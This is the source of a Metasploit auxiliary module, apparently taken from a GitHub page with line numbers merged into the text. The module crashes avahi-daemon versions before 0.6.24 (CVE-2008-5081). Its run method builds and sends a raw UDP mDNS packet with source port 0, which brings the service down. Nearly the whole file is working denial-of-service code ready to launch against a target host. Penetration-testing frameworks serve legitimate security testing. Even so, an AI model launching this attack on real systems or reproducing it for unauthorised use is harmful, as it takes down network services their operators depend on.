Path: blob/master/modules/auxiliary/dos/mdns/avahi_portzero.rb
19813 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Capture7include Msf::Auxiliary::Dos89def initialize10super(11'Name' => 'Avahi Source Port 0 DoS',12'Description' => %q{13Avahi-daemon versions prior to 0.6.24 can be DoS'd14with an mDNS packet with a source port of 0.15},16'Author' => 'kris katterjohn',17'License' => MSF_LICENSE,18'References' => [19[ 'CVE', '2008-5081' ],20[ 'OSVDB', '50929' ],21],22'DisclosureDate' => 'Nov 14 2008',23'Notes' => {24'Stability' => [CRASH_SERVICE_DOWN],25'SideEffects' => [],26'Reliability' => []27}28)2930register_options([31OptInt.new('RPORT', [true, 'The destination port', 5353])32])3334deregister_options('FILTER', 'PCAPFILE')35end3637def run38open_pcap3940print_status("Sending to #{rhost}")4142p = PacketFu::UDPPacket.new43p.ip_saddr = '0.0.0.0'44p.ip_daddr = rhost45p.ip_frag = 0x4000 # Original had ip frag flags set to 2 for some reason.46p.udp_sport = 0 # That's the bug47p.udp_dport = datastore['RPORT'].to_i48p.payload = Rex::Text.rand_text(1..0x20) # UDP needs at least one data byte, may as well send a few.49p.recalc50capture_sendto(p, rhost) and print_status('Avahi should be down now')51close_pcap52end53end545556